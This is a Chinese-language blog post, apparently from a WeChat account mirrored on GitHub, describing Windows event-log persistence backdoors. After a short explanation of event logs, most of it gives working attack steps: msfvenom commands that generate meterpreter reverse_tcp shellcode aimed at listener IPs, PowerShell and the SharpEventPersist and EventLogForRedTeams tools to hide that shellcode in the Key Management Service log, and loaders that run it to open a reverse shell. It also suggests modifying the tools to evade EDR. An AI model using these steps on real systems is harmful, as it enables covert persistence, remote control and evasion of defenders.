Skip to content

Latest commit

 

History

History
221 lines (118 loc) · 6.41 KB

[暴暴的皮卡丘]-2024-1-16-windows持久化后门之事件日志-.md

File metadata and controls

221 lines (118 loc) · 6.41 KB

windows持久化后门之事件日志-

原创 比心皮卡丘 暴暴的皮卡丘

暴暴的皮卡丘

微信号 gh_3aa935a28263

功能介绍 分享互联网IT技术、互联网圈、三观等


__发表于

事件日志介绍

Windows 事件日志是安全团队识别威胁和管理员排除错误的主要信息来源。日志以结构化格式 (XML) 表示,以便于查看。在 Windows 中,事件日志存储与应用程序、安全性和系统相关的事件。由于所存储信息的性质,复杂的威胁参与者和攻击队对 Windows 事件日志进行攻击的情况并不罕见,这些攻击将清除日志、停止服务或线程,以防止识别任意活动。

Windows事件日志包含三个主要日志文件:

  • 系统日志:记录与操作系统相关的事件,如启动、关机、硬件故障等。系统日志对于追踪系统级问题和了解系统的整体性能非常有帮助。

  • 安全性日志:记录与安全性相关的事件,例如用户登录、账户权限变更、安全性策略修改等。安全性日志对于监控系统的安全性和检测潜在的安全问题非常重要。

  • 应用程序日志:记录与安装的应用程序和服务相关的事件,例如应用程序错误、警告和信息性事件。应用程序日志对于排查应用程序问题和了解应用程序的运行状况很有帮助。

每个事件都有一个事件 ID、日期和时间戳、源(事件的来源)、事件级别(例如,错误、警告、信息)等属性。管理员和支持人员可以使用事件查看器(Event Viewer)来查看和分析这些事件。

通过查看事件日志,用户可以:

  • 监控系统的健康状况。

  • 诊断和解决系统故障。

  • 跟踪应用程序行为。

  • 发现潜在的安全问题。

日志文件存储在注册表和 Windows 文件夹中,并且可以通过事件查看器 (eventvwr.exe) 访问。

Java
%SystemRoot%\System32\Winevt\Logs\
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\


通常,管理员有权将二进制数据和文本写入事件日志。执行以下命令将在应用程序日志中写入EventID 916 的文本消息

Java
Write-EventLog -LogName "Application" -Source "Microsoft-Windows-User-Loader" -EventId 916 -EntryType Information -Message "Pentestlab.blog" -Category 2 -RawData 65,66,67,68


也可以从 PowerShell 控制台读取日志以确认事件日志已创建

Java
Get-EventLog -Newest 1 -LogName "Application" -Source "Microsoft-Windows-User- Loader" -Message "Provider Pentestlab*" | Format-List -Property *


持久化利用思路

一句话总结:先将利用msf或者Cobalt Strike 生成的十六进制shellcode写入日志中存储,然后再用触发exe将日志中的shellcode读取出来,触发执行反弹shell

目前在github上已经有公开的利用脚本,只需要站在巨人的肩膀上进行利用即可,当然也可以根据其来魔改自定义来加强EDR等绕过

SharpEventPersist利用

开源脚本地址:https://github.com/improsec/SharpEventPersist

可用于将 shellcode 写入 Windows 事件日志以建立持久性。shellcode 被转换为十六进制值并写入密钥管理服务中。Improsec 还发布了一个辅助二进制文件,它充当加载程序,以便从 Windows 事件日志中检索和执行 shellcode。下图显示了该技术:

使用Metasploit Framework 在生成 .bin 格式的 shellcode 和通过执行程序集模块执行 .NET 程序集方面具有类似的功能。实用程序msfvenom可以生成 x64 位 shellcode。

Java
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o beacon.bin LHOST=10.0.0.1 LPORT=2000


执行SharpEventPersist后,密钥管理服务日志中将出现一个条目

Java
SharpEventPersist.exe -file beacon.bin -instanceid 1337 -source Persistence


利用execute_dotnet_assemble后利用模块,SharpEventPersist将加载到进程notepad.exe的内存中,并且密钥管理服务日志中将出现一个条目

Java
use post/windows/manage/execute_dotnet_assembly


可以看到成功注入到事件日志中

查看日志中详细数据,shellcode被写入

Metasploit 模块multi/handler必须处于监听模式,以便在执行SharpEventLoader时捕获连接。

Java
SharpEventLoader.exe


执行上述SharpEventLoader之后就会触发后门,就可以在msf获取到shell

那么SharpEventLoader做了什么,可以查看代码,就是把写入到日志中的数据读取出来,然后创建一个新的进程来执行shellcode,触发反弹shell

EventLogForRedTeams利用

开源github地址:https://github.com/roobixx/EventLogForRedTeams

其原理基本一致,只是不同的脚本来利用,从方便程度上来看不如上述sharpEventPersist

可以从密钥管理服务检索日志条目并将有效负载注入当前进程。同样,Metasploit 框架实用程序msfvenom可以通过执行以下命令生成十六进制格式的有效负载:

Java
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=4444 -f hex


使用powershell,使用 shellcode 创建新的事件日志条目,与SharpEventPersist工具的行为类似

Java
$payload = 'Insert Shellcode as Hex Literal String'
$hashByteArray = [byte[]] ($payload -replace '..', '0x$&,' -split ',' -ne '')
Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 31337 -EntryType Information -Category 0 -Message 'Pentestlab' -RawData $HashByteArray
.\EventLogsForRedTeams.exe


当执行EventLogsForRedTeams时,将执行 shellcode,这将导致 C2 连接。

预览时标签不可点

微信扫一扫
关注该公众号

继续滑动看下一个

windows持久化后门之事件日志-

原创 比心皮卡丘 暴暴的皮卡丘

轻触阅读原文

暴暴的皮卡丘

向上滑动看下一个

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看 分享 留言